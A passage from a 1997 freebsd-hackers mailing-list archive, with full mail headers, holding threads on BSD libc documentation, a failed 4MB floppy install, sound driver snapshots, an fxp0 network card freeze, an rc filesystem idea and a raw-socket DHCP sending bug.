root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA20728 for hackers-outgoing; Wed, 13 Aug 1997 21:12:03 -0700 (PDT) Received: from vinyl.quickweb.com (vinyl.quickweb.com [206.222.77.8]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA20656; Wed, 13 Aug 1997 21:11:49 -0700 (PDT) Received: (from mark@localhost) by vinyl.quickweb.com (8.8.5/8.6.12) id AAA20195; Thu, 14 Aug 1997 00:10:38 -0400 (EDT) Message-ID: <19970814001037.25023@vinyl.quickweb.com> Date: Thu, 14 Aug 1997 00:10:37 -0400 From: Mark Mayo To: 0000-Administrator Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Info files. References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: ; from 0000-Administrator on Wed, Aug 13, 1997 at 04:41:35PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Aug 13, 1997 at 04:41:35PM -0700, 0000-Administrator wrote: > > Why are there info files for the g++ library but no info files for the > plain old c library. Cause the plain of c library isn't by GNU under FreeBSD (and hopefully never will be.). FreeBSD's libc is derived from Berkeley, and the man pages are excellent. Most BSD people (well, at least most I know - myself included) don't like the 'info' system much.... 'man' is the way around the FreeBSD c library. > I learned most of what I know about network > programming from the libc info files for linux --- either that or what is > some good docs for general app/net programming under freebsd In particular > the short and to the point examples of how the structures (and their > definitions) are used (all stuff that is in the gnu c library info files). > Does freebsd actually use the gnu c library, can someone explain what it > uses and where I can get a book that explains how to use all the system > calls? (yes, I do know about man pages) Well, first of all look in /usr/share/doc/psd/ - the two papers you'll be most interested in are 20.ipctut and 21.ipc. They're quite good introductions to the BSD socket interface. If you're looking for a book, "Advanced Programming in the UNIX Environment" by Stevens (Addison-Wesley) is excellent. He also has a Network programming book, and a couple of editions about TCP/IP. All are highly recomended. Have fun, -Mark -- ---------------------------------------------------------------------------- Mark Mayo mark@quickweb.com RingZero Comp. http://vinyl.quickweb.com/mark finger mark@quickweb.com for my PGP key and GCS code ---------------------------------------------------------------------------- University degrees are a bit like adultery: you may not want to get involved with that sort of thing, but you don't want to be thought incapable. -Sir Peter Imbert From owner-freebsd-hackers Wed Aug 13 21:16:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA20970 for hackers-outgoing; Wed, 13 Aug 1997 21:16:57 -0700 (PDT) Received: from foo.icanect.net (root@foo.icanect.net [208.202.14.72]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA20960 for ; Wed, 13 Aug 1997 21:16:53 -0700 (PDT) Received: from johnmcbride (junk@41.p1.Ascend04.MIA.Icanect.Net [206.142.162.105]) by foo.icanect.net (8.8.5/ICA3.2) with ESMTP id AAA08928 for ; Thu, 14 Aug 1997 00:16:43 -0400 (EDT) Message-Id: <199708140416.AAA08928@foo.icanect.net> From: "John McBride" To: Subject: FREEBSD 2.2.2 Date: Thu, 14 Aug 1997 00:07:16 -0400 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk hey guys, HELP!!! i have a 486 with 4 megs of ram, am i am trying to install freeBSD from floppies. but after i create my boop floppie with FDIMAGE.exe i boot up get to a kernel config screen, i clean up the confilcts and then get out, well after that it goes through botting but it hangs when it gets to "APMo diabled, not probed" the system just sits there!!!! am i doing something wrong, can you please help me, please email before 5:00 PM at jmcbride@nbhd.ord after 5:00pm jonnimac@icanect.net thanks a lot please hurry jonnimac@icanect.net jmcbride@nbhd.org From owner-freebsd-hackers Wed Aug 13 21:31:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA21599 for hackers-outgoing; Wed, 13 Aug 1997 21:31:01 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA21594 for ; Wed, 13 Aug 1997 21:30:58 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id VAA00307; Wed, 13 Aug 1997 21:30:47 -0700 (PDT) To: 0000-Administrator cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Info files. In-reply-to: Your message of "Wed, 13 Aug 1997 16:41:35 PDT." Date: Wed, 13 Aug 1997 21:30:45 -0700 Message-ID: <302.871533045@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [Only ONE mailing list, please! Redirected to -hackers] > Why are there info files for the g++ library but no info files for the > plain old c library. I learned most of what I know about network Because nobody has written info files for BSD's "plain old C library" - I think you are confusing it with GNU libc, which FreeBSD does *not* use and has no plans to use (it's a bloated beast that even the Linux folks have real problems with right now - I know, I just talked to the Slackware foks about this). And if you want to write a set of info docs for the current C library, be my guest! Jordan From owner-freebsd-hackers Wed Aug 13 21:49:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA22572 for hackers-outgoing; Wed, 13 Aug 1997 21:49:29 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA22566 for ; Wed, 13 Aug 1997 21:49:27 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id VAA00406; Wed, 13 Aug 1997 21:49:21 -0700 (PDT) To: rdkeys@csemail.cropsci.ncsu.edu cc: freebsd-hackers@FreeBSD.ORG Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! In-reply-to: Your message of "Wed, 13 Aug 1997 22:34:39 EDT." <9708140234.AA107103@csemail.cropsci.ncsu.edu> Date: Wed, 13 Aug 1997 21:49:21 -0700 Message-ID: <402.871534161@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > This is getting a bit rediculous, for sure. I'm sure having a hard time following your use of the english language below, that's for sure. Please use more care if you expect us to actually understand and respond to your bug reports. > The install crashed and refused to install anything after the initial > installation...... someone remarked ``the install bug''????? This doesn't tell me anything. > The system is up, but sysinstall will not install cvsup so I can update > the bloody beast! Even manual installs don't work. How do manual installs of cvsup fail? > The RELENG snap was nuked on freebsd.org, so I can't get a later sysinstall > or updated sources or...... etc....... grrrrrrrr! Are they down in one > of the other trees? If you'd read the documentation you'd see that current.freebsd.org has been offering up-to-date SNAPs for ages. > The two 3.0 snap installs went like clockwork. Everyone said go 2.2.2-RELEAS E, > so, like a fool, I took their advice........BAD BAD BAD. So go back to 3.0 SNAP? I really don't see the issue here. Something worked and so you abandoned it for something which didn't work and now you're flaming us in a manner which isn't even well-specified enough for us to know what the exact problem here is. I'm not forming a good impression of your abilities here. Jordan From owner-freebsd-hackers Wed Aug 13 22:12:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA23956 for hackers-outgoing; Wed, 13 Aug 1997 22:12:15 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA23951 for ; Wed, 13 Aug 1997 22:12:12 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id WAA00540; Wed, 13 Aug 1997 22:12:08 -0700 (PDT) To: "John McBride" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: FREEBSD 2.2.2 In-reply-to: Your message of "Thu, 14 Aug 1997 00:07:16 EDT." <199708140416.AAA08928@foo.icanect.net> Date: Wed, 13 Aug 1997 22:12:08 -0700 Message-ID: <536.871535528@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk 1. If you'd read the docs, you'd see that 4MB installation is not supported. You must have at least 5MB of RAM to install the system. 2. Please don't send stuff like this to -hackers; it is the WRONG mailing list and that is what freebsd-questions is for. Thank you for your cooperation. Jordan > hey guys, > > HELP!!! > > i have a 486 with 4 megs of ram, am i am trying to install freeBSD from > floppies. but after i create my boop floppie with FDIMAGE.exe i boot up get > to a kernel config screen, i clean up the confilcts and then get out, well > after that it goes through botting but it hangs when it gets to "APMo > diabled, not probed" the system just sits there!!!! > > am i doing something wrong, can you please help me, please email before > 5:00 PM at jmcbride@nbhd.ord after 5:00pm jonnimac@icanect.net > > > thanks a lot > > please hurry > > > jonnimac@icanect.net > jmcbride@nbhd.org From owner-freebsd-hackers Wed Aug 13 22:20:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA24397 for hackers-outgoing; Wed, 13 Aug 1997 22:20:47 -0700 (PDT) Received: from nasu.utsunomiya-u.ac.jp (nasu.utsunomiya-u.ac.jp [160.12.128.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA24384 for ; Wed, 13 Aug 1997 22:20:31 -0700 (PDT) Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by nasu.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id OAA01048; Thu, 14 Aug 1997 14:19:31 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (k/bb5udtVff0vfPADrOczuSHwVy5IE/W@zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by outmail.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id OAA01950; Thu, 14 Aug 1997 14:19:31 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id OAA11109; Thu, 14 Aug 1997 14:25:23 +0900 (JST) Message-Id: <199708140525.OAA11109@zodiac.mech.utsunomiya-u.ac.jp> To: "John McBride" cc: , yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: FREEBSD 2.2.2 In-reply-to: Your message of "Thu, 14 Aug 1997 00:07:16 -0400." <199708140416.AAA08928@foo.icanect.net> References: <199708140416.AAA08928@foo.icanect.net> Date: Thu, 14 Aug 1997 14:25:22 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >i have a 486 with 4 megs of ram, am i am trying to install freeBSD from >floppies. but after i create my boop floppie with FDIMAGE.exe i boot up get >to a kernel config screen, i clean up the confilcts and then get out, well >after that it goes through botting but it hangs when it gets to "APMo >diabled, not probed" the system just sits there!!!! Have you by any chance disabled `sc0', which is the console driver. Without `sc0', you won't see any output on your screen. From owner-freebsd-hackers Wed Aug 13 22:23:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA24536 for hackers-outgoing; Wed, 13 Aug 1997 22:23:47 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA24530 for ; Wed, 13 Aug 1997 22:23:43 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id OAA23352; Thu, 14 Aug 1997 14:22:05 +0900 (JST) To: "John McBride" Cc: jmcbride@nbhd.ord.csl.sony.co.jp, hackers@freebsd.org Subject: Re: FREEBSD 2.2.2 X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: <199708140416.AAA08928@foo.icanect.net> In-reply-to: "John McBride" 's message of Thu, 14 Aug 1997 00:07:16 -0400. <199708140416.AAA08928@foo.icanect.net> X-Mailer: comp (MHng project) version 1997/08/04 03:38:46, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Thu, 14 Aug 1997 14:22:05 +0900 Message-ID: <23349.871536125@itojun.csl.sony.co.jp> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >hey guys, >HELP!!! >i have a 486 with 4 megs of ram, am i am trying to install freeBSD from >floppies. but after i create my boop floppie with FDIMAGE.exe i boot up get >to a kernel config screen, i clean up the confilcts and then get out, well >after that it goes through botting but it hangs when it gets to "APMo >diabled, not probed" the system just sits there!!!! >am i doing something wrong, can you please help me, please email before >5:00 PM at jmcbride@nbhd.ord after 5:00pm jonnimac@icanect.net RTFM. you'll need at least 5M memory to install. http://www.freebsd.org/availability.html itojun From owner-freebsd-hackers Thu Aug 14 02:27:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA07862 for hackers-outgoing; Thu, 14 Aug 1997 02:27:15 -0700 (PDT) Received: from noc.demon.net (firewall-user@server.noc.demon.net [193.195.224.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA07855 for ; Thu, 14 Aug 1997 02:27:12 -0700 (PDT) Received: by noc.demon.net; id KAA08969; Thu, 14 Aug 1997 10:27:10 +0100 (BST) Received: from stress.noc.demon.net(195.11.55.5) by inside.noc.demon.net via smap (3.2) id xmaa08959; Thu, 14 Aug 97 10:27:03 +0100 Received: from hdm by stress.noc.demon.net with local (Exim 1.651 #1) id 0wywBH-0004bp-00; Thu, 14 Aug 1997 10:26:59 +0100 To: "Jordan K. Hubbard" cc: freebsd-hackers@freebsd.org Subject: Re: FREEBSD 2.2.2 X-Mailer: nmh v0.14, exmh 2.0gamma, gvim 4.5 X-Colour: Green In-reply-to: <536.871535528@time.cdrom.com> Date: Thu, 14 Aug 1997 10:26:59 +0100 From: Dom Mitchell Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk "Jordan K. Hubbard" wrote: > 1. If you'd read the docs, you'd see that 4MB installation is not > supported. You must have at least 5MB of RAM to install the system. Giggle. I managed to install it on my 4mb laptop regardless by using some old netbsd bootdisks that where lying around... However, it's not exactly fast in 4Mb, although it's good enough for what I need. -Dom From owner-freebsd-hackers Thu Aug 14 03:29:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA09862 for hackers-outgoing; Thu, 14 Aug 1997 03:29:52 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id DAA09856; Thu, 14 Aug 1997 03:29:45 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id LAA06216; Thu, 14 Aug 1997 11:20:46 +0200 From: Luigi Rizzo Message-Id: <199708140920.LAA06216@labinfo.iet.unipi.it> Subject: snd970814.tgz To: multimedia@freebsd.org, luigi@labinfo.iet.unipi.it (Luigi Rizzo) Date: Thu, 14 Aug 1997 11:20:45 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Yet another snap of the new PnP + sound code at http://www.iet.unipi.it/~luigi/snd970814.tgz http://www.iet.unipi.it/~luigi/snd970814.tar.gz ftp://www.iet.unipi.it/pub/snd970814.tgz they are all the same thing, hopefully those who have problems downloading the file with netscape (guys, don't you know that there are also other alternatives for downloading web documents, such as "fetch" and "wget" ?) will manage to get the files. I would appreciate feedback from -multimedia on how the driver works on your cards, and from -hackers about the PnP configuration stuff (both code and documentation). This new snap is smaller than the previous since I have removed all the currently unused pieces, and somewhat simplified the code. The driver is now just five C source files plus five include files. Two more files are used for PnP support. See the README file for more news on what has changed since the previous snap. I have added drivers for nas and vat working in full duplex, and a couple of utility programs. The documentation has been updated, and now includes a section on PnP stuff. I have tested the driver a lot with the CS4236, while no changes have been made to the SB version. I am currently working on the OPTI931, which seems to work in playback, but gives me some trouble in capture mode (probably some stupid mistake on my side, since I am getting too many interrupts). Next snap will be available on Aug.22 Cheers Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-hackers Thu Aug 14 04:44:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA12703 for hackers-outgoing; Thu, 14 Aug 1997 04:44:30 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA12697 for ; Thu, 14 Aug 1997 04:44:24 -0700 (PDT) Message-Id: <199708141144.EAA12697@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA055699054; Thu, 14 Aug 1997 21:44:14 +1000 Date: Thu, 14 Aug 1997 21:44:14 +1000 From: Darren Reed Apparently-To: hackers@freebsd.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk From owner-freebsd-hackers Thu Aug 14 04:45:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA12746 for hackers-outgoing; Thu, 14 Aug 1997 04:45:16 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA12741 for ; Thu, 14 Aug 1997 04:45:11 -0700 (PDT) Message-Id: <199708141145.EAA12741@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA056189107; Thu, 14 Aug 1997 21:45:07 +1000 Date: Thu, 14 Aug 1997 21:45:07 +1000 From: Darren Reed To: hackers@freebsd.org Subject: Archive Python tape drive, 2.1.7 & 1522 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, at work we've dug up two Archive Pyhton tape drives: 25588-XXX 2.96 28388-XXX 5.45 both are scanned successfully by FreeBSD 2.1.7 at boot time, but any attempt to access the drive goes nowhere. Not even "mt -f status" works. For what it's worth, the tape drives work under NT 4.0. What's going on here ? Darren From owner-freebsd-hackers Thu Aug 14 05:33:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA14556 for hackers-outgoing; Thu, 14 Aug 1997 05:33:41 -0700 (PDT) Received: from docenti.ing.unipi.it (docenti.ing.unipi.it [131.114.28.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA14516; Thu, 14 Aug 1997 05:33:31 -0700 (PDT) Received: (from gabriele@localhost) by docenti.ing.unipi.it (8.8.5/8.8.5) id OAA12170; Thu, 14 Aug 1997 14:31:18 +0200 (MET DST) Date: Thu, 14 Aug 1997 14:31:15 +0200 (MET DST) From: Gabriele Cecchetti To: dg@root.com cc: freebsd-questions@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-hackers@FreeBSD.org Subject: fxp0 rev 1 int a irq 15 on pci0:18 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I'm running a server with FreeBSD 2.2.2 and the card in the subject. Often the card/driver frozen (the server still running, but I can't reach it from network). I've read something abount it on mailing list archives to prevent this problem and then I've consider 2 solution 1) cron every minute 'ping to somehost' in the network (this worked fine) or 2) cron every 5 minutes 'tcpdump -n -p -c 5 ' (I'm experimenting it...) What advice can you give me to resolve this critical problem (for a server) ? Here I give you a dump of boot. Aug 1 10:20:40 WAISBiblio /kernel: FreeBSD 2.2.2-RELEASE #0: Mon Jul 21 17:42:44 CEST 1997 Aug 1 10:20:40 WAISBiblio /kernel: root@WAISBiblio.di.unipi.it:/usr/src/sys/compile/WB586SERVER Aug 1 10:20:40 WAISBiblio /kernel: CPU: Pentium (133.64-MHz 586-class CPU) Aug 1 10:20:40 WAISBiblio /kernel: Origin = "GenuineIntel" Id = 0x52c Stepping=12 Aug 1 10:20:40 WAISBiblio /kernel: Features=0x1bf Aug 1 10:20:40 WAISBiblio /kernel: real memory = 67108864 (65536K bytes) Aug 1 10:20:41 WAISBiblio /kernel: avail memory = 62910464 (61436K bytes) Aug 1 10:20:41 WAISBiblio /kernel: DEVFS: ready for devices Aug 1 10:20:41 WAISBiblio /kernel: Probing for devices on PCI bus 0: Aug 1 10:20:41 WAISBiblio /kernel: chip0 rev 2 on pci0:0 Aug 1 10:20:41 WAISBiblio /kernel: chip1 rev 1 on pci0:7:0 Aug 1 10:20:41 WAISBiblio /kernel: chip2 rev 0 on pci0:7:1 Aug 1 10:20:41 WAISBiblio /kernel: vga0 rev 84 int a irq 11 on pci0:17 Aug 1 10:20:41 WAISBiblio /kernel: fxp0 rev 1 int a irq 15 on pci0:18 Aug 1 10:20:41 WAISBiblio /kernel: fxp0: Ethernet address 00:aa:00:ac:eb:08 Aug 1 10:20:41 WAISBiblio /kernel: Probing for devices on the ISA bus: Aug 1 10:20:41 WAISBiblio /kernel: sc0 at 0x60-0x6f irq 1 on motherboard Aug 1 10:20:41 WAISBiblio /kernel: sc0: VGA color <8 virtual consoles, flags=0x0> Aug 1 10:20:41 WAISBiblio /kernel: sio0 at 0x3f8-0x3ff irq 4 on isa Aug 1 10:20:41 WAISBiblio /kernel: sio0: type 16550A Aug 1 10:20:41 WAISBiblio /kernel: sio1 at 0x2f8-0x2ff irq 3 on isa Aug 1 10:20:41 WAISBiblio /kernel: sio1: type 16550A Aug 1 10:20:41 WAISBiblio /kernel: lpt0 at 0x378-0x37f irq 7 on isa Aug 1 10:20:41 WAISBiblio /kernel: lpt0: Interrupt-driven port Aug 1 10:20:41 WAISBiblio /kernel: lp0: TCP/IP capable interface Aug 1 10:20:41 WAISBiblio /kernel: fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa Aug 1 10:20:41 WAISBiblio /kernel: fdc0: NEC 72065B Aug 1 10:20:42 WAISBiblio /kernel: fd0: 1.44MB 3.5in Aug 1 10:20:42 WAISBiblio /kernel: wdc0 at 0x1f0-0x1f7 irq 14 flags 0x80ff80ff on isa Aug 1 10:20:42 WAISBiblio /kernel: wdc0: unit 0 (wd0): , 32-bit, multi-block-16 Aug 1 10:20:42 WAISBiblio /kernel: wd0: 1549MB (3173184 sectors), 3148 cyls, 16 heads, 63 S/T, 512 B/S Aug 1 10:20:42 WAISBiblio /kernel: wdc1: disabled, not probed. Aug 1 10:20:42 WAISBiblio /kernel: npx0 on motherboard Aug 1 10:20:42 WAISBiblio /kernel: npx0: INT 16 interface Aug 1 10:20:42 WAISBiblio /kernel: apm0 on isa Aug 1 10:20:42 WAISBiblio /kernel: apm: found APM BIOS version 1.1 Aug 1 10:20:42 WAISBiblio /kernel: DEVFS: ready to run Thnks in advance Gabriele ============================================================================ Ing. Gabriele Cecchetti Abitazione: email: gabriele@ing.unipi.it Via Lenin 127 http://www.ing.unipi.it/~gabriele 56010 Pappiana, PISA (Italy) Tel: +39-50-862316 ============================================================================= From owner-freebsd-hackers Thu Aug 14 05:54:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA15461 for hackers-outgoing; Thu, 14 Aug 1997 05:54:37 -0700 (PDT) Received: from papagaio.voga.com.br (papagaio.voga.com.br [200.239.39.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id FAA15453 for ; Thu, 14 Aug 1997 05:54:21 -0700 (PDT) Received: by papagaio.voga.com.br(Lotus SMTP MTA v1.06 (346.7 3-18-1997)) id 032564F3.00473618 ; Thu, 14 Aug 1997 09:57:49 -0300 X-Lotus-FromDomain: VOGA From: "Daniel Sobral" To: hackers@freebsd.org cc: dcs@gns.com.br Message-ID: <032564F3.00442A2C.00@papagaio.voga.com.br> Date: Thu, 14 Aug 1997 09:54:08 -0300 Subject: Weird idea: rcfs Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I was reading some stuff about S and K files, AIX rc, etc, etc, etc, when I had this weird idea. Now, while I *hate* SysV way, and I strongly oppose those who want that crap brought to our beloved OS, starting and terminating services, and defining sets of service (personally, I think non-deterministic automata "state" definition is appropriate, but I digress) _is_ useful. So, I was just thinking... Why not an rc filesystem? The idea is still not fully formed, but I'm thinking of two distinct parts. One to store configuration, and the other more akin to procfs. The configuration storing could probably be dismissed, but it may be interesting to hide the awful amount of symbolic links some other OS have... :-) For example (and notice that, in this example I use "state" as in "status quo"): /etc/rc.d Base directory /etc/rc.d/config Configuration part /etc/rc.d/config/services Services configuration directory /etc/rc.d/config/services/network Basic network configuration directory /etc/rc.d/config/services/sendmail Sendmail configuration directory /etc/rc.d/config/services/sendmail/depend Dependencies directory /etc/rc.d/config/services/sendmail/depend/network Well, not really, just an example... /etc/rc.d/config/services/sendmail/coreq Co-requisites configuration directory /etc/rc.d/config/states States configuration directory /etc/rc.d/config/states/homedocked Homedocked state configuration directory /etc/rc.d/config/states/homedocked/depend Etc... The procfs-like would be used to indicate services running, their state, etc. Probably undoable, though. Well, we *could* have it with full state information for compliant (i.e., modified to use rcfs) servers, and stay with the amount of information we (don't) have right now for the rest. The idea right now seems full of flaws, but it _seems_ to have potential. But then, I'm love special fs... From owner-freebsd-hackers Thu Aug 14 07:03:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA19123 for hackers-outgoing; Thu, 14 Aug 1997 07:03:40 -0700 (PDT) Received: from us.net (laurel.us.net [198.240.72.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA19111 for ; Thu, 14 Aug 1997 07:03:35 -0700 (PDT) Received: from q.jjw.us.net (q.jjw.us.net [207.244.202.2]) by us.net (8.8.6/8.8.6) with SMTP id KAA22958; Thu, 14 Aug 1997 10:03:03 -0400 (EDT) X-Provider: US Net - Advanced Internet Services - (301) 572-5926 - info@us.net Where Business Connects! (tm) -- http://www.us.net/ Message-ID: <33F30E6E.2781E494@us.net> Date: Thu, 14 Aug 1997 09:55:58 -0400 From: John Woodruff Organization: US Net X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2.2-RELEASE i386) MIME-Version: 1.0 To: dhcpd-users@fugue.com, freebsd-hackers@FreeBSD.org Subject: isc-dhcpd, FreeBSD, USE_RAW_SEND Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk This is more of a "isc-dhcpd developer" question than most, or perhaps a "FreeBSD developer" question... I'm trying to get isc-dhcpd-5.16 to work on a FreeBSD 2.2.2 system with USE_RAW_SEND (for other reasons, I can't put BPF into the kernel, so the "standard" build won't work; and the there's only one broadcast ifc so I *think* it should work). dhcpd has no problem hearing the request and formulating a reply. The problem is that I can't seem to get the kernel to send the reply - it rejects whatever I send. First, the code in raw.c that setup "auto struct sockaddr_in name" seemed really bogus since "name" was never used, so I whacked it. This resulted in EDESTADDRREQ from the final writev(). Then, I hacked in some code to use sendto(). Omitting details: buf = grow_raw_buf(sizeof(struct ip) /*new*/ + sizeof(struct udphdr) + len); assemble_udp_ip_header (interface, buf, &bufp, from.s_addr, to -> sin_addr.s_addr, to -> sin_port, (unsigned char *)raw, len); memcpy((buf+bufp), raw, len); bufp += len; return sendto(interface->wfdesc, buf, bufp, 0, (struct sockaddr*)to, sizeof(*to) ); Looking at buf just before the sendto() shows what looks like a perfectly good IP+UDP+DHCP packet, but now I get EINVAL from the final sendto(). The IP fields that "man 4 ip" says must be set correctly seem to indeed be. (gdb) run Starting program: /home/jjw/dhcp-5.15/./dhcpd -d -f Internet Software Consortium DHCPD $Name: BETA_5_16 $ [...] Listening on Socket/ep0/207.244.202.0 Sending on Raw/ep0/207.244.202.0 BOOTREQUEST from 0:c0:4f:de:7a:8 via ep0 BOOTREPLY on 207.244.202.8 to 0:c0:4f:de:7a:8 via ep0 Breakpoint 1, send_packet (interface=0x2a080, packet=0xefbfd478, raw=0xefbfade8, len=300, from={s_addr = 46855375}, to=0xefbfa9d8, hto=0xefbfa9c0) at raw.c:144 144 return sendto(interface->wfdesc, (gdb) x/20xw buf 0x48011045 0x00000000 0x9f0f1110 0x02caf4cf 0xffffffff 0x44004300 0x00003401 0x00060102 0x002b7ba3 0x00006400 0x00000000 0x08caf4cf 0x02caf4cf 0x00000000 0xde4fc000 0x0000087a 0x00000000 0x00000000 0x00000000 0x0000000 (gdb) c sendpkt: Invalid argument Just in case the sendto wanted an etheraddr, I tried changing the sizeof(*to) to 6. Still EINVAL. Yes, this is running root. Can someone tell me what I'm doing wrong here? -- John Woodruff, Sr. Network Engineer, US Net - jjw@us.net - 301-572-5926 Washington/Baltimore/Richmond ISP - $6.95/month for full PPP! From owner-freebsd-hackers Thu Aug 14 07:32:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA20539 for hackers-outgoing; Thu, 14 Aug 1997 07:32:44 -0700 (PDT) Received: from 